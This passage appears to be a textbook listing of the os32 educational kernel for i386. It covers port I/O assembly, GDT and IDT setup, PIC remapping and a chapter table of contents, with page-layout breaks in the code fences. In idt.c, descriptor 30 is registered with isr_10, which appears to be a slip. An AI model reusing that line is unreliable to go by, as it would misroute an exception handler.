1040137 void  isr_40  (void);
1040138 void  isr_41  (void);
1040139 void  isr_42  (void);
1040140 void  isr_43  (void);
1040141 void  isr_44  (void);
1040142 void  isr_45  (void);
1040143 void  isr_46  (void);
1040144 void  isr_47  (void);
1040145 void  isr_128 (void);
1040146 //
1040147 char *isr_exception_name (int exception);
1040148 //
1040149 void  isr_exception_unrecoverable (uint32_t eax, uint32_t ecx,
1040150                                    uint32_t edx, uint32_t ebx,
1040151                                    uint32_t ebp, uint32_t esi,
1040152                                    uint32_t edi, uint32_t ds,
1040153                                    uint32_t es,  uint32_t fs,
1040154                                    uint32_t gs,  uint32_t interrupt,
1040155                                    uint32_t error, uint32_t eip,
1040156                                    uint32_t cs, uint32_t eflags);
1040157 //
1040158 void  isr_irq_clear (uint32_t idtn);
1040159 void  isr_irq_clear_pic1 (void);
1040160 void  isr_irq_clear_pic2 (void);
1040161 //----------------------------------------------------------------------
1040162 // I/O
1040163 //----------------------------------------------------------------------
1040164 uint32_t _in_8    (uint32_t port);
1040165 uint32_t _in_16   (uint32_t port);
1040166 void     _out_8   (uint32_t port, uint32_t value);
1040167 void     _out_16  (uint32_t port, uint32_t value);
1040168 //
1040169 #define in_8(port)            ((unsigned int) _in_8 ((uint32_t) port))
1040170 #define in_16(port)           ((unsigned int) _in_16 ((uint32_t) port))
1040171 #define out_8(port, value)    (_out_8 ((uint32_t) port, \
```

```
1040172                                          (uint32_t) value))
1040173  #define out_16(port, value)  (_out_16 ((uint32_t) port, \
1040174                                           (uint32_t) value))
1040175  //----------------------------------------------------------------------
1040176  // Interrupt on/off
1040177  //----------------------------------------------------------------------
1040178  void     cli     (void);
1040179  void     sti     (void);
1040180  void     irq_on  (unsigned int irq);
1040181  void     irq_off (unsigned int irq);
1040182  //----------------------------------------------------------------------
1040183  #endif
```


119.1 os32: directory principale 7031

119.1.1 applic.sep.ld 7031
119.1.2 bochs 7032
119.1.3 elf-to-os32 7032
119.1.4 kernel.ld 7034
119.1.5 makeit.sep 7035
119.1.6 qemu 7042

119.2 os32: «kernel/blk.h» 7043

119.2.1 kernel/blk/blk_ata.c 7050
119.2.2 kernel/blk/blk_cache_check.c 7052
119.2.3 kernel/blk/blk_cache_init.c 7052
119.2.4 kernel/blk/blk_cache_read.c 7053
119.2.5 kernel/blk/blk_cache_save.c 7054
119.2.6 kernel/blk/blk_public.c 7055

119.3 os32: «kernel/dev.h» 7055

119.3.1 kernel/dev/dev_ata.c 7062
119.3.2 kernel/dev/dev_dm.c 7064
119.3.3 kernel/dev/dev_io.c 7065
119.3.4 kernel/dev/dev_kmem.c 7066
119.3.5 kernel/dev/dev_mem.c 7070
119.3.6 kernel/dev/dev_tty.c 7072

119.4 os32: «kernel/dm.h» 7074

119.4.1 kernel/dm/dm_init.c 7080
119.4.2 kernel/dm/dm_public.c 7083
119.4.3 kernel/driver/ata.h 7083
119.4.4 kernel/driver/ata/ata_cmd_identify_device.c 7086

119.4.5 kernel/driver/ata/ata_cmd_read_sectors.c 7087
119.4.6 kernel/driver/ata/ata_cmd_write_sectors.c 7089
119.4.7 kernel/driver/ata/ata_device.c 7091
119.4.8 kernel/driver/ata/ata_drq.c 7092
119.4.9 kernel/driver/ata/ata_init.c 7093
119.4.10 kernel/driver/ata/ata_lba28.c 7098
119.4.11 kernel/driver/ata/ata_public.c 7099
119.4.12 kernel/driver/ata/ata_rdy.c 7099
119.4.13 kernel/driver/ata/ata_reset.c 7101
119.4.14 kernel/driver/ata/ata_valid.c 7101
119.4.15 kernel/driver/kbd.h 7102
119.4.16 kernel/driver/kbd/kbd_isr.c 7102
119.4.17 kernel/driver/kbd/kbd_load.c 7104
119.4.18 kernel/driver/kbd/kbd_public.c 7106
119.4.19 kernel/driver/screen.h 7106
119.4.20 kernel/driver/screen/screen_clear.c 7107
119.4.21 kernel/driver/screen/screen_current.c 7108
119.4.22 kernel/driver/screen/screen_init.c 7108
119.4.23 kernel/driver/screen/screen_new_line.c 7109
119.4.24 kernel/driver/screen/screen_number.c 7110
119.4.25 kernel/driver/screen/screen_pointer.c 7111
119.4.26 kernel/driver/screen/screen_public.c 7111
119.4.27 kernel/driver/screen/screen_putc.c 7111
119.4.28 kernel/driver/screen/screen_scroll.c 7113
119.4.29 kernel/driver/screen/screen_select.c 7114
119.4.30 kernel/driver/screen/screen_update.c 7114
119.4.31 kernel/driver/tty.h 7116
119.4.32 kernel/driver/tty/tty_console.c 7116
119.4.33 kernel/driver/tty/tty_init.c 7117
119.4.34 kernel/driver/tty/tty_public.c 7119
119.4.35 kernel/driver/tty/tty_read.c 7119
119.4.36 kernel/driver/tty/tty_reference.c 7120
119.4.37 kernel/driver/tty/tty_write.c 7121

119.5 os32: «kernel/fs.h» 7121

119.5.1 kernel/fs/fd_dup.c 7131
119.5.2 kernel/fs/fd_reference.c 7133
119.5.3 kernel/fs/file_pipe_make.c 7134
119.5.4 kernel/fs/file_reference.c 7135
119.5.5 kernel/fs/file_stdio_dev_make.c 7136

119.6 os32: «kernel/ibm_i386.h» 7207

119.6.1 kernel/ibm_i386/_in_32.s 7217
119.6.2 kernel/ibm_i386/_in_16.s 7218
119.6.3 kernel/ibm_i386/_in_8.s 7218
119.6.4 kernel/ibm_i386/_out_32.s 7219
119.6.5 kernel/ibm_i386/_out_16.s 7219
119.6.6 kernel/ibm_i386/_out_8.s 7220
119.6.7 kernel/ibm_i386/cli.s 7220
119.6.8 kernel/ibm_i386/gdt.c 7221
119.6.9 kernel/ibm_i386/gdt_load.s 7222
119.6.10 kernel/ibm_i386/gdt_print.c 7222
119.6.11 kernel/ibm_i386/gdt_public.c 7223
119.6.12 kernel/ibm_i386/gdt_segment.c 7223
119.6.13 kernel/ibm_i386/idt.c 7224
119.6.14 kernel/ibm_i386/idt_descriptor.c 7226
119.6.15 kernel/ibm_i386/idt_irq_remap.c 7227
119.6.16 kernel/ibm_i386/idt_load.s 7228
119.6.17 kernel/ibm_i386/idt_print.c 7228
119.6.18 kernel/ibm_i386/idt_public.c 7229
119.6.19 kernel/ibm_i386/irq_off.c 7229
119.6.20 kernel/ibm_i386/irq_on.c 7230
119.6.21 kernel/ibm_i386/isr.s 7231
119.6.22 kernel/ibm_i386/isr_exception_name.c 7245
119.6.23 kernel/ibm_i386/isr_exception_unrecoverable.c 7246
119.6.24 kernel/ibm_i386/isr_irq_clear.c 7246
119.6.25 kernel/ibm_i386/isr_irq_clear_pic1.c 7247
119.6.26 kernel/ibm_i386/isr_irq_clear_pic2.c 7247
119.6.27 kernel/ibm_i386/sti.s 7247

119.7 os32: «kernel/lib_k.h» 7248

119.7.1 kernel/lib_k/k_exit.s 7254
119.7.2 kernel/lib_k/k_gets.c 7255
119.7.3 kernel/lib_k/k_perror.c 7255
119.7.4 kernel/lib_k/k_printf.c 7256
119.7.5 kernel/lib_k/k_sleep.c 7256
119.7.6 kernel/lib_k/k_stime.c 7257
119.7.7 kernel/lib_k/k_vprintf.c 7257
119.7.8 kernel/lib_k/k_vsprintf.c 7258

119.8 os32: «kernel/lib_s.h» 7259

119.8.40 kernel/lib_s/s_write.c 7334

119.9 os32: «kernel/main.h» 7337

119.9.1 kernel/main/build.h 7344
119.9.2 kernel/main/crt0.s 7344
119.9.3 kernel/main/kmain.c 7345
119.9.4 kernel/main/menu.c 7351
119.9.5 kernel/main/run.c 7352
119.9.6 kernel/main/stack.s 7353

119.10 os32: «kernel/memory.h» 7353

119.10.1 kernel/memory/mb_alloc.c 7360
119.10.2 kernel/memory/mb_alloc_size.c 7362
119.10.3 kernel/memory/mb_clean.c 7364
119.10.4 kernel/memory/mb_free.c 7364
119.10.5 kernel/memory/mb_print.c 7366
119.10.6 kernel/memory/mb_public.c 7368
119.10.7 kernel/memory/mb_reduce.c 7368
119.10.8 kernel/memory/mb_reference.c 7369
119.10.9 kernel/memory/mb_size.c 7369

119.11 os32: «kernel/multiboot.h» 7370

119.11.1 kernel/multiboot/mboot_public.c 7376
119.11.2 kernel/multiboot/mboot_save.c 7376

119.12 os32: «kernel/part.h» 7377

119.13 os32: «kernel/proc.h» 7384

119.13.1 kernel/proc/proc_available.c 7393
119.13.2 kernel/proc/proc_dump_memory.c 7394
119.13.3 kernel/proc/proc_init.c 7395
119.13.4 kernel/proc/proc_offset_data_to_pointer.c 7399
119.13.5 kernel/proc/proc_print.c 7399
119.13.6 kernel/proc/proc_public.c 7401
119.13.7 kernel/proc/proc_reference.c 7402
119.13.8 kernel/proc/proc_sch_signals.c 7402
119.13.9 kernel/proc/proc_sch_terminals.c 7403
119.13.10 kernel/proc/proc_sch_timers.c 7410
119.13.11 kernel/proc/proc_scheduler.c 7411
119.13.12 kernel/proc/proc_sig_chld.c 7415
119.13.13 kernel/proc/proc_sig_cont.c 7416

119.13.14 kernel/proc/proc_sig_core.c 7416
119.13.15 kernel/proc/proc_sig_handler.c 7418
119.13.16 kernel/proc/proc_sig_ignore.c 7422
119.13.17 kernel/proc/proc_sig_off.c 7423
119.13.18 kernel/proc/proc_sig_on.c 7423
119.13.19 kernel/proc/proc_sig_status.c 7423
119.13.20 kernel/proc/proc_sig_stop.c 7424
119.13.21 kernel/proc/proc_sig_term.c 7424
119.13.22 kernel/proc/proc_sys_exec.c 7425
119.13.23 kernel/proc/proc_timer_init.c 7440
119.13.24 kernel/proc/proc_wakeup_pipe_read.c 7441
119.13.25 kernel/proc/proc_wakeup_pipe_write.c 7441
119.13.26 kernel/proc/proc_wakeup_terminal.c 7442
119.13.27 kernel/proc/sysroutine.c 7443

119.6.1 kernel/ibm_i386/_in_32.s

```
1050001 .global _in_32
1050002 #------------------------------------------------------------------------
1050003 .section .text
1050004 #------------------------------------------------------------------------
1050005 # Port input word.
1050006 #------------------------------------------------------------------------
1050007 _in_32:
1050008     enter $4, $0                # 1 local variable.
1050009     pushf
1050010     pusha
1050011     .equ IN_PORT,  8            # First argument.
1050012     .equ IN_DATA, -4            # Local variable.
1050013     mov  IN_PORT(%ebp), %edx    # Copy the port number into EDX, but
1050014                                 # then only DX will be used.
1050015     mov   $0, %eax              # Reset EAX.
1050016     inl   %dx, %eax             # Read DX port  and save into EAX.
1050017     mov   %eax, IN_DATA(%ebp)   # Save EAX inside the local variable.
1050018     popa
1050019     popf
1050020     mov   IN_DATA(%ebp), %eax   # Restore EAX and return.
1050021     leave
1050022     ret
```

119.6.2 kernel/ibm_i386/_in_16.s

Si veda la sezione 118.6.

```
1060001 .global _in_16
1060002 #------------------------------------------------------------------------
1060003 .section .text
1060004 #------------------------------------------------------------------------
1060005 # Port input word.
1060006 #------------------------------------------------------------------------
1060007 _in_16:
1060008     enter $4, $0                # 1 local variable.
1060009     pushf
1060010     pusha
1060011     .equ IN_PORT,  8            # First argument.
1060012     .equ IN_DATA, -4            # Local variable.
1060013     mov  IN_PORT(%ebp), %edx    # Copy the port number into EDX, but
1060014                                 # then only DX will be used.
1060015     mov   $0, %eax              # Reset EAX.
1060016     in    %dx,  %ax             # Read DX port  and save into AX.
1060017     mov   %eax, IN_DATA(%ebp)   # Save EAX inside the local variable.
1060018     popa
1060019     popf
1060020     mov   IN_DATA(%ebp), %eax   # Restore EAX and return.
1060021     leave
1060022     ret
```

119.6.3 kernel/ibm_i386/_in_8.s

Si veda la sezione 118.6.

```
1070001 .global _in_8
1070002 #------------------------------------------------------------------------
1070003 .section .text
1070004 #------------------------------------------------------------------------
1070005 # Port input byte.
1070006 #------------------------------------------------------------------------
1070007 _in_8:
1070008     enter $4, $0                # 1 local variable.
1070009     pushf
1070010     pusha
1070011     .equ IN_PORT,  8            # First argument.
1070012     .equ IN_DATA, -4            # Local variable.
1070013     mov  IN_PORT(%ebp), %edx    # Copy the port number into EDX, but
1070014                                 # then only DX will be used.
1070015     mov   $0, %eax              # Reset EAX.
1070016     inb   %dx,  %al             # Read DX port  and save into AL.
1070017     mov   %eax, IN_DATA(%ebp)   # Save EAX inside the local variable.
1070018     popa
1070019     popf
1070020     mov   IN_DATA(%ebp), %eax   # Restore EAX and return.
```

```
1070021     leave
1070022     ret
```

119.6.4 kernel/ibm_i386/_out_32.s

Si veda la sezione 118.6.

```
1080001 .global _out_32
1080002 #----------------------------------------------------------------------
1080003 .section .text
1080004 #----------------------------------------------------------------------
1080005 # Port output word.
1080006 #----------------------------------------------------------------------
1080007 _out_32:
1080008     enter $0, $0                # No local variables.
1080009     pushf
1080010     pusha
1080011     .equ  OUT_PORT,  8          # First parameter.
1080012     .equ  OUT_DATA, 12          # Second parameter.
1080013     mov   OUT_PORT(%ebp), %edx  # Copy output port to EDX, but only DX
1080014                                 # will be used.
1080015     mov   OUT_DATA(%ebp), %eax  # Copy output data to EAX.
1080016     outl  %eax, %dx             # Send to the port.
1080017     popa
1080018     popf
1080019     leave
1080020     ret
```

119.6.5 kernel/ibm_i386/_out_16.s

Si veda la sezione 118.6.

```
1090001 .global _out_16
1090002 #----------------------------------------------------------------------
1090003 .section .text
1090004 #----------------------------------------------------------------------
1090005 # Port output word.
1090006 #----------------------------------------------------------------------
1090007 _out_16:
1090008     enter $0, $0                # No local variables.
1090009     pushf
1090010     pusha
1090011     .equ  OUT_PORT,  8          # First parameter.
1090012     .equ  OUT_DATA, 12          # Second parameter.
1090013     mov   OUT_PORT(%ebp), %edx  # Copy output port to EDX, but only DX
1090014                                 # will be used.
1090015     mov   OUT_DATA(%ebp), %eax  # Copy output data to EAX, but only AX
1090016                                 # will be used.
1090017     out   %ax, %dx              # Send to the port.
```

```
1090018      popa
1090019      popf
1090020      leave
1090021      ret
```

119.6.6 kernel/ibm_i386/_out_8.s

Si veda la sezione 118.6.

```
1100001 .global _out_8
1100002 #------------------------------------------------------------------------
1100003 .section .text
1100004 #------------------------------------------------------------------------
1100005 # Port output byte.
1100006 #------------------------------------------------------------------------
1100007 _out_8:
1100008     enter $0, $0                # No local variables.
1100009     pushf
1100010     pusha
1100011     .equ  OUT_PORT,  8          # First parameter.
1100012     .equ  OUT_DATA, 12          # Second parameter.
1100013     mov   OUT_PORT(%ebp), %edx  # Copy output port to EDX, but only DX
1100014                                 # will be used.
1100015     mov   OUT_DATA(%ebp), %eax  # Copy output data to EAX, but only AL
1100016                                 # will be used.
1100017     outb  %al, %dx              # Send to the port.
1100018     popa
1100019     popf
1100020     leave
1100021     ret
```

119.6.7 kernel/ibm_i386/cli.s

Si veda la sezione 118.6.

```
1110001 .global cli
1110002 #------------------------------------------------------------------------
1110003 .text
1110004 #------------------------------------------------------------------------
1110005 # Clear interrupt flag.
1110006 #------------------------------------------------------------------------
1110007 .align 4
1110008 cli:
1110009     cli
1110010     ret
```

119.6.8 kernel/ibm_i386/gdt.c

Si veda la sezione 118.6.

```
1120001 #include <kernel/ibm_i386.h>
1120002 #include <kernel/multiboot.h>
1120003 //----------------------------------------------------------------------
1120004 void
1120005 gdt (void)
1120006 {
1120007     uint32_t blocks;     // Total available memory blocks.
1120008     //
1120009     // Calculate memory blocks.
1120010     //
1120011     blocks = (multiboot.mem_upper * 1024) / 4096;
1120012     //
1120013     // Set data for GDTR register.
1120014     //
1120015     gdt_register.limit = (sizeof (gdt_table) - 1);
1120016     gdt_register.base  = (uint32_t) &gdt_table[0];
1120017     //
1120018     // Reset items inside 'gdt_table[]'.
1120019     // gdt_table[0] must be null and is not to be
1120020     // used.
1120021     //
1120022     int i;
1120023     for (i = 0; i < GDT_ITEMS; i++)
1120024       {
1120025         gdt_segment (i, 0, 0, 0, 0, 0);
1120026       }
1120027     //
1120028     // gdt_table[1] is for kernel code.
1120029     // It covers all the available memory, with DPL 0.
1120030     // The selector is 8+0 = 0x08+0.
1120031     //
1120032     gdt_segment (1, 0, blocks, 1, 1, 0);
1120033     //
1120034     // gdt_table[2] is for kernel data, including stack (the stack
1120035     // MUST be in the same address space of data).
1120036     // It covers all the available memory, with DPL 0.
1120037     // The selector is 16+0 = 0x10+0.
1120038     //
1120039     gdt_segment (2, 0, blocks, 1, 0, 0);
1120040     //
1120041     // Load the GDT table.
1120042     //
1120043     gdt_load  (&gdt_register);
1120044 }
```

119.6.9 kernel/ibm_i386/gdt_load.s

Si veda la sezione 118.6.

```
1130001 .globl  gdt_load
1130002 #
1130003 gdt_load:
1130004     enter $0, $0
1130005     .equ gdtr_pointer,  8          # Primo argomento.
1130006     mov  gdtr_pointer(%ebp), %eax  # Copia il puntatore in EAX.
1130007     leave
1130008     #
1130009     lgdt (%eax)         # Carica il registro GDTR dall'indirizzo in EAX.
1130010     #
1130011     # 2 kernel data, included stack, DPL 0, covering all the available
1130012     #   memory: segment selector 0x10+0.
1130013     #
1130014     mov  $16, %ax
1130015     mov  %ax, %ds
1130016     mov  %ax, %es
1130017     mov  %ax, %fs
1130018     mov  %ax, %gs
1130019     mov  %ax, %ss       # The stack MUST be in the same address space
1130020     #                   # of the other data, to allow pointers to
1130021     #                   # work correctly.
1130022     #
1130023     # 2 kernel code, DPL 0, covering all the available memory:
1130024     #   segment selector 0x08+0.
1130025     #
1130026     jmp  $8, $flush
1130027 flush:
1130028     ret
```

119.6.10 kernel/ibm_i386/gdt_print.c

Si veda la sezione 118.6.

```
1140001 #include <kernel/ibm_i386.h>
1140002 #include <kernel/lib_k.h>
1140003 //
1140004 void
1140005 gdt_print (void *gdtr, unsigned int first, unsigned int last)
1140006 {
1140007     gdtr_t   *g = gdtr;
1140008     uint32_t *p = (uint32_t *) g->base;
1140009     //
1140010     int max = (g->limit + 1) / (sizeof (uint32_t));
1140011     int i;
1140012     //
1140013     if (((first*2) > max) || (first > last))
1140014       {
```

```
1140015            return;
1140016          }
1140017        //
1140018        k_printf ("[%s] base: 0x%08" PRIX32 " limit: 0x%04" PRIX32 "\n",
1140019                   __func__, g->base, g->limit);
1140020        //
1140021        for (i = (first*2); i < max && i <= (last*2); i+=2)
1140022          {
1140023            k_printf ("[%4" PRIx32 "] %032" PRIb32 " %032" PRIb32 "\n",
1140024                      i/2, p[i], p[i+1]);
1140025          }
1140026    }
```

119.6.11 kernel/ibm_i386/gdt_public.c

Si veda la sezione 118.6.

```
1150001    #include <kernel/ibm_i386.h>
1150002    //----------------------------------------------------------------------
1150003    gdt_t  gdt_table[GDT_ITEMS];
1150004    gdtr_t gdt_register;
```

119.6.12 kernel/ibm_i386/gdt_segment.c

Si veda la sezione 118.6.

```
1160001    #include <kernel/ibm_i386.h>
1160002    #include <errno.h>
1160003    //----------------------------------------------------------------------
1160004    int
1160005    gdt_segment (int segment,
1160006                  uint32_t      base,
1160007                  uint32_t      limit,
1160008                  bool          present,
1160009                  bool          code,
1160010                  unsigned char dpl)
1160011    {
1160012        //
1160013        // Verify if the segment is valid.
1160014        //
1160015        if (    (segment >= ((sizeof (gdt_table)) / 8))
1160016            || (segment < 0))
1160017          {
1160018            errset (EINVAL);
1160019            return (-1);
1160020          }
1160021        //
1160022        // Limit.
1160023        //
```

```
1160024      gdt_table[segment].limit_a = (limit & 0x0000FFFF);
1160025      gdt_table[segment].limit_b = limit / 0x10000;
1160026      //
1160027      // Base address.
1160028      //
1160029      gdt_table[segment].base_a = (base & 0x0000FFFF);
1160030      gdt_table[segment].base_b = ((base / 0x10000) & 0x000000FF);
1160031      gdt_table[segment].base_c = (base / 0x1000000);
1160032      //
1160033      // Attributes.
1160034      //
1160035      gdt_table[segment].accessed             = 0; // Internal update.
1160036      gdt_table[segment].write_execute        = 1; // r, w, x.
1160037      gdt_table[segment].expansion_conforming = 0; // normal and conform.
1160038      gdt_table[segment].code_or_data         = code;
1160039      gdt_table[segment].code_data_or_system  = 1;
1160040      gdt_table[segment].dpl                  = dpl;
1160041      gdt_table[segment].present              = present;
1160042      gdt_table[segment].available            = 0; // 0
1160043      gdt_table[segment].reserved             = 0; // 0
1160044      gdt_table[segment].big                  = 1; // 32 bit
1160045      gdt_table[segment].granularity          = 1; // 4 Kibyte
1160046      //
1160047      return (0);
1160048  }
```

119.6.13 kernel/ibm_i386/idt.c

«

Si veda la sezione 118.6.

```
1170001  #include <kernel/ibm_i386.h>
1170002  //----------------------------------------------------------------------
1170003  void
1170004  idt (void)
1170005  {
1170006      //
1170007      // Set necessary data for the IDTR register.
1170008      //
1170009      idt_register.limit = (sizeof (idt_table) - 1);
1170010      idt_register.base  = (uint32_t) &idt_table[0];
1170011      //
1170012      // Reset all items inside the array ‘idt_table[]’.
1170013      //
1170014      int i;
1170015      for (i = 0; i < IDT_ITEMS; i++)
1170016        {
1170017          idt_descriptor (i, 0, 0, 0, 0, 0);
1170018        }
1170019      //
1170020      // Place hardware interrupt from IRQ 0 to IRQ 7
1170021      // starting from descriptor 32 and from IRQ 8 to
```

```
1170022     // IRQ 15 starting from descriptor 40.
1170023     //
1170024     idt_irq_remap (32, 40);
1170025     //
1170026     // Set the ISR routines to the items inside the IDT table.
1170027     //
1170028     idt_descriptor ( 0, isr_0,  0x0008, 1, 0xE, 0);
1170029     idt_descriptor ( 1, isr_1,  0x0008, 1, 0xE, 0);
1170030     idt_descriptor ( 2, isr_2,  0x0008, 1, 0xE, 0);
1170031     idt_descriptor ( 3, isr_3,  0x0008, 1, 0xE, 0);
1170032     idt_descriptor ( 4, isr_4,  0x0008, 1, 0xE, 0);
1170033     idt_descriptor ( 5, isr_5,  0x0008, 1, 0xE, 0);
1170034     idt_descriptor ( 6, isr_6,  0x0008, 1, 0xE, 0);
1170035     idt_descriptor ( 7, isr_7,  0x0008, 1, 0xE, 0);
1170036     idt_descriptor ( 8, isr_8,  0x0008, 1, 0xE, 0);
1170037     idt_descriptor ( 9, isr_9,  0x0008, 1, 0xE, 0);
1170038     idt_descriptor (10, isr_10, 0x0008, 1, 0xE, 0);
1170039     idt_descriptor (11, isr_11, 0x0008, 1, 0xE, 0);
1170040     idt_descriptor (12, isr_12, 0x0008, 1, 0xE, 0);
1170041     idt_descriptor (13, isr_13, 0x0008, 1, 0xE, 0);
1170042     idt_descriptor (14, isr_14, 0x0008, 1, 0xE, 0);
1170043     idt_descriptor (15, isr_15, 0x0008, 1, 0xE, 0);
1170044     idt_descriptor (16, isr_16, 0x0008, 1, 0xE, 0);
1170045     idt_descriptor (17, isr_17, 0x0008, 1, 0xE, 0);
1170046     idt_descriptor (18, isr_18, 0x0008, 1, 0xE, 0);
1170047     idt_descriptor (19, isr_19, 0x0008, 1, 0xE, 0);
1170048     idt_descriptor (20, isr_20, 0x0008, 1, 0xE, 0);
1170049     idt_descriptor (21, isr_21, 0x0008, 1, 0xE, 0);
1170050     idt_descriptor (22, isr_22, 0x0008, 1, 0xE, 0);
1170051     idt_descriptor (23, isr_23, 0x0008, 1, 0xE, 0);
1170052     idt_descriptor (24, isr_24, 0x0008, 1, 0xE, 0);
1170053     idt_descriptor (25, isr_25, 0x0008, 1, 0xE, 0);
1170054     idt_descriptor (26, isr_26, 0x0008, 1, 0xE, 0);
1170055     idt_descriptor (27, isr_27, 0x0008, 1, 0xE, 0);
1170056     idt_descriptor (28, isr_28, 0x0008, 1, 0xE, 0);
1170057     idt_descriptor (29, isr_29, 0x0008, 1, 0xE, 0);
1170058     idt_descriptor (30, isr_10, 0x0008, 1, 0xE, 0);
1170059     idt_descriptor (31, isr_31, 0x0008, 1, 0xE, 0);
1170060     idt_descriptor (32, isr_32, 0x0008, 1, 0xE, 0);
1170061     idt_descriptor (33, isr_33, 0x0008, 1, 0xE, 0);
1170062     idt_descriptor (34, isr_34, 0x0008, 1, 0xE, 0);
1170063     idt_descriptor (35, isr_35, 0x0008, 1, 0xE, 0);
1170064     idt_descriptor (36, isr_36, 0x0008, 1, 0xE, 0);
1170065     idt_descriptor (37, isr_37, 0x0008, 1, 0xE, 0);
1170066     idt_descriptor (38, isr_38, 0x0008, 1, 0xE, 0);
1170067     idt_descriptor (39, isr_39, 0x0008, 1, 0xE, 0);
1170068     idt_descriptor (40, isr_40, 0x0008, 1, 0xE, 0);
1170069     idt_descriptor (41, isr_41, 0x0008, 1, 0xE, 0);
1170070     idt_descriptor (42, isr_42, 0x0008, 1, 0xE, 0);
1170071     idt_descriptor (43, isr_43, 0x0008, 1, 0xE, 0);
1170072     idt_descriptor (44, isr_44, 0x0008, 1, 0xE, 0);
1170073     idt_descriptor (45, isr_45, 0x0008, 1, 0xE, 0);
```

```
1170074     idt_descriptor (46, isr_46, 0x0008, 1, 0xE, 0);
1170075     idt_descriptor (47, isr_47, 0x0008, 1, 0xE, 0);
1170076     //
1170077     // The following item is for the system calls.
1170078     //
1170079     idt_descriptor (128, isr_128, 0x0008, 1, 0xE, 0);
1170080     //
1170081     // Activate the IDT loading the IDTR register.
1170082     //
1170083     idt_load (&idt_register);
1170084 }
```

119.6.14 kernel/ibm_i386/idt_descriptor.c

Si veda la sezione 118.6.

```
1180001 #include <kernel/ibm_i386.h>
1180002 //----------------------------------------------------------------------
1180003 void
1180004 idt_descriptor (int      desc,
1180005                 void    *isr,
1180006                 uint16_t selector,
1180007                 bool     present,
1180008                 char     type,
1180009                 char     dpl)
1180010 {
1180011     uint32_t offset = (uint32_t) isr;
1180012     //
1180013     // Unset reserved bits and the system bit.
1180014     //
1180015     idt_table[desc].filler = 0;
1180016     idt_table[desc].system = 0;
1180017     //
1180018     // Relative address.
1180019     //
1180020     idt_table[desc].offset_a = (offset & 0x0000FFFF);
1180021     idt_table[desc].offset_b = (offset / 0x10000);
1180022     //
1180023     // Selector.
1180024     //
1180025     idt_table[desc].selector = selector;
1180026     //
1180027     // Valid item?
1180028     //
1180029     idt_table[desc].present = present;
1180030     //
1180031     // Type (gate type).
1180032     //
1180033     idt_table[desc].type = (type & 0x0F);
1180034     //
1180035     // DPL.
```

```
1180036        //
1180037        idt_table[desc].dpl = (dpl & 0x03);
1180038    }
```

119.6.15 kernel/ibm_i386/idt_irq_remap.c

Si veda la sezione 118.6.

```
1190001    #include <kernel/lib_k.h>
1190002    #include <kernel/ibm_i386.h>
1190003    //----------------------------------------------------------------------
1190004    #define DEBUG 0
1190005    //----------------------------------------------------------------------
1190006    void
1190007    idt_irq_remap (unsigned int offset_1, unsigned int offset_2)
1190008    {
1190009        //
1190010        // PIC_P è il PIC primario o «master»;
1190011        // PIC_S è il PIC secondario o «slave».
1190012        //
1190013        // Quando si manifesta un IRQ che riguarda il PIC secondario,
1190014        // il PIC primario riceve IRQ 2.
1190015        //
1190016        // ICW = initialization command word.
1190017        // OCW = operation command word.
1190018        //
1190019        if (DEBUG)
1190020          {
1190021            k_printf ("[%s] PIC (programmable interrupt controller) "
1190022                      "remap: ", __func__);
1190023          }
1190024        //
1190025        out_8 (0x20, 0x10 + 0x01);   // Initialization: 0x10 means that is
1190026        out_8 (0xA0, 0x10 + 0x01);   // is ICW1; 0x01 means that must
1190027                                     // continue up to ICW4.
1190028        if (DEBUG)
1190029          {
1190030            k_printf ("ICW1");
1190031          }
1190032        out_8 (0x21, offset_1);      // ICW2: PIC_P starting at «offset_1».
1190033        out_8 (0xA1, offset_2);      //       PIC_S starting at «offset_2».
1190034        if (DEBUG)
1190035          {
1190036            k_printf (", ICW2");
1190037          }
1190038        out_8 (0x21, 0x04);          // ICW3 PIC_P: IRQ2 driven from PIC_S.
1190039        out_8 (0xA1, 0x02);          // ICW3 PIC_S: driving IRQ2 from PIC_P.
1190040        if (DEBUG)
1190041          {
1190042            k_printf (", ICW3");
1190043          }
```

```
1190044     out_8 (0x21, 0x01);          // ICW4: si precisa solo la modalità
1190045     out_8 (0xA1, 0x01);          // del microprocessore; 0x01 = 8086.
1190046     if (DEBUG)
1190047       {
1190048         k_printf (", ICW4");
1190049       }
1190050     out_8 (0x21, 0x00);          // OCW1: reset mask to enable all
1190051     out_8 (0xA1, 0x00);          // IRQ numbers.
1190052     if (DEBUG)
1190053       {
1190054         k_printf (", OCW1.\n");
1190055       }
1190056 }
```

119.6.16 kernel/ibm_i386/idt_load.s

Si veda la sezione 118.6.

```
1200001 .globl  idt_load
1200002 #
1200003 idt_load:
1200004     enter $0, $0
1200005     .equ idtr_pointer,  8           # Primo argomento.
1200006     mov  idtr_pointer(%ebp), %eax   # Copia il puntatore in EAX.
1200007     leave
1200008     #
1200009     lidt (%eax)         # Utilizza la tabella IDT a cui punta EAX.
1200010     #
1200011     ret
```

119.6.17 kernel/ibm_i386/idt_print.c

Si veda la sezione 118.6.

```
1210001 #include <kernel/ibm_i386.h>
1210002 #include <kernel/lib_k.h>
1210003 //
1210004 void
1210005 idt_print (void *idtr, unsigned int first, unsigned int last)
1210006 {
1210007     idtr_t   *g = idtr;
1210008     uint32_t *p = (uint32_t *) g->base;
1210009     //
1210010     int max = (g->limit + 1) / (sizeof (uint32_t));
1210011     int i;
1210012     //
1210013     if (((first*2) > max) || (first > last))
1210014       {
1210015         return;
```

```
1210016           }
1210017         //
1210018         k_printf ("[%s] base: 0x%08" PRIX32 " limit: 0x%04" PRIX32 "\n",
1210019                   __func__, g->base, g->limit);
1210020         //
1210021         for (i = (first*2); i < max && i <= (last*2); i+=2)
1210022           {
1210023             k_printf ("[%4" PRIx32 "] %032" PRIb32 " %032" PRIb32 "\n",
1210024                       i/2, p[i], p[i+1]);
1210025           }
1210026     }
```

119.6.18 kernel/ibm_i386/idt_public.c

Si veda la sezione 118.6.

```
1220001     #include <kernel/ibm_i386.h>
1220002     //----------------------------------------------------------------------
1220003     idt_t  idt_table[129];
1220004     idtr_t idt_register;
1220005
1220006
```

119.6.19 kernel/ibm_i386/irq_off.c

Si veda la sezione 118.6.

```
1230001     #include <kernel/ibm_i386.h>
1230002     #include <stdint.h>
1230003     //----------------------------------------------------------------------
1230004     void
1230005     irq_off (unsigned int irq)
1230006     {
1230007         uint32_t mask;
1230008         uint32_t status;
1230009         //
1230010         if (irq > 15)
1230011           {
1230012             return; // There is not such IRQ.
1230013           }
1230014         else
1230015           {
1230016             mask   = ((uint32_t) 1 << irq);
1230017             //
